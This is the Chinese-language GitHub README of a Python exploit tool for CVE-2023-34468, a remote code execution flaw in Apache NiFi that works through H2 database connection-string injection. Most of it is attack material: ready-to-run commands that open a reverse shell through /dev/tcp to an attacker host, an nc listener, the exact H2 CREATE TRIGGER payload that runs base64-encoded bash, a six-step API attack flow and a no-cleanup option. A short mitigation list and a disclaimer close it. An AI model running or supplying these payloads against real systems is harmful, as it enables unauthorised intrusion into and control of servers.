Jeanpt/CVE-2023-34468
GitHub: Jeanpt/CVE-2023-34468
针对 Apache NiFi 0.0.2–1.21.0 版本 H2 数据库连接字符串注入导致远程代码执行(CVE-2023-34468)的 Python 漏洞利用工具,支持多种认证方式和反向 shell 回连。
Stars: 0 | Forks: 0
# CVE-2023-34468 漏洞利用
 
## 概述
本仓库提供了一个基于 Python 的 **CVE-2023-34468** 漏洞利用工具。该漏洞是 Apache NiFi 0.0.2 至 1.21.0 版本中的一个严重的远程代码执行漏洞 (CVSS 9.8)。它允许经过身份验证的用户通过操纵嵌入触发器的 H2 数据库连接字符串来执行任意代码。
⚠️ **警告:** 仅供教育和授权测试目的使用。未经授权访问计算机系统是违法行为。
## 漏洞详情
- **CVE ID:** CVE-2023-34468
- **受影响版本:** Apache NiFi 0.0.2–1.21.0
- **影响:** 远程代码执行 (RCE)
- **CVSS 评分:** 9.8 (严重)
- **发现日期:** 2023 年 6 月 12 日
- **描述:** DBCPConnectionPool 和 HikariCPConnectionPool Controller 服务允许用户使用 H2 驱动程序配置数据库 URL,这可以通过 H2 的 CREATE TRIGGER 功能执行任意 Java 代码。当连接初始化时,嵌入的 JavaScript 代码将以 NiFi 的权限执行。
## 前置条件
- Python 3.7+
- `requests` 库
- 能够访问 NiFi API 的网络(默认端口 8080 或 8443)
- 未启用身份验证或拥有有效凭据的目标 NiFi 实例
- 为接收反向 shell 而设置的监听器(例如,`nc -lnvp 5555`)
## 快速开始
### 克隆并安装
```
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
```
### 未启用身份验证的 NiFi(无需凭据)
```
# 启动你的监听器
nc -lnvp 5555
# 运行 exploit — 身份验证会被自动检测,open instances 无需任何 flags
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
```
### 启用身份验证的 NiFi(用户名/密码)
```
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
```
### 启用身份验证的 NiFi(Bearer token)
```
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token
```
### 跳过清理(在目标上留下痕迹)
```
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
```
### 所有选项
```
python3 exploit.py --help
```
| 命令 | 描述 |
|---------|-------------|
| `-t, --target` | 目标 NiFi 实例的 URL(必填) |
| `-c, --command` | 要执行的命令(必填) |
| `-lh, --lhost` | 用于回调的监听器主机(必填) |
| `-lp, --lport` | 用于回调的监听器端口(必填) |
| `-u, --username` | NiFi 用户名(用于启用身份验证的实例) |
| `-p, --password` | NiFi 密码(用于启用身份验证的实例) |
| `--token` | Bearer token(用于启用身份验证的实例) |
| `--no-cleanup` | 漏洞利用后跳过清理 |
| `--delay` | 清理前等待的秒数(默认:10) |
| `--driver-path` | 覆盖 H2 驱动 jar 路径(默认省略) |
**验证:** 检查你的监听器是否收到了反向 shell 连接。运行 `id` 以确认代码是否执行。
## 工作原理(技术细节)
### 攻击流程
1. **侦察:** 通过 `/nifi-api/system-diagnostics` 识别 NiFi 版本
2. **创建 DBCP 服务:** 向 `/nifi-api/process-groups/root/controller-services` POST 恶意的 H2 连接字符串
3. **创建 Processor:** 向相同的 process group POST ExecuteSQL processor
4. **配置 Processor:** 将 processor 与恶意的 DBCP 服务关联
5. **启用服务:** 向 `/nifi-api/controller-services/{id}/run-status` 发送 PUT 请求,状态为 `ENABLED`
6. **触发 RCE:** 向 `/nifi-api/processors/{id}/run-status` 发送 PUT 请求,状态为 `RUNNING` —— H2 触发器在连接时被触发
### H2 载荷结构
```
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
```
**关键点:**
- 使用反斜杠转义分号:`\;`
- JavaScript 在 `BEFORE SELECT ON INFORMATION_SCHEMA.TABLES` 时触发(自动触发)
- 使用 Base64 编码载荷以避免特殊字符问题
- 填充的等号被替换为空格,以避免 H2 解析问题
## 载荷示例
### 反向 Shell
```
# 直接运行 exploit
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
```
### 命令执行
```
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
```
## 缓解措施
- **更新:** 升级到 Apache NiFi 1.22.0 或更高版本
- **访问控制:** 通过防火墙/WAF 限制对 NiFi API 的访问
- **身份验证:** 在 NiFi 上启用并强制执行身份验证
- **监控:** 对异常的 controller 服务配置发出告警
- **网络隔离:** 将 NiFi 与不受信任的网络隔离
## 参考
- [NVD - CVE-2023-34468](https://nvd.nist.gov/vuln/detail/CVE-2023-34468)
- [Apache NiFi 安全公告](https://nifi.apache.org/security.html#1.22.0)
- [NIFI-11653 - 问题追踪](https://issues.apache.org/jira/browse/NIFI-11653)
- [Apache 邮件列表讨论](https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8)
## 免责声明
本工具仅供安全研究和授权测试使用。作者不对本漏洞利用工具的滥用或造成的损害承担责任。请务必仅在经过授权的环境中进行负责任的测试。
## 致谢
- **发现者:** Matei "Mal" Badanoiu
- **Metasploit 模块:** h00die
- **Python POC:** Jean
## 许可证
MIT 许可证 - 详情请参阅 LICENSE 文件
**专为安全研究和授权渗透测试而构建。**
主题:`apache-nifi` `h2-database` `rce` `exploit` `cve-2023-34468` `python` `security-research`
标签:Apache NiFi, CISA项目, CVE-2023-34468, CVSS 9.8, DBCPConnectionPool, H2数据库注入, HikariCPConnectionPool, Java代码执行, PoC, RCE, 反弹Shell, 安全测试, 攻击性安全, 无摄像头检测, 暴力破解, 漏洞复现, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 高危漏洞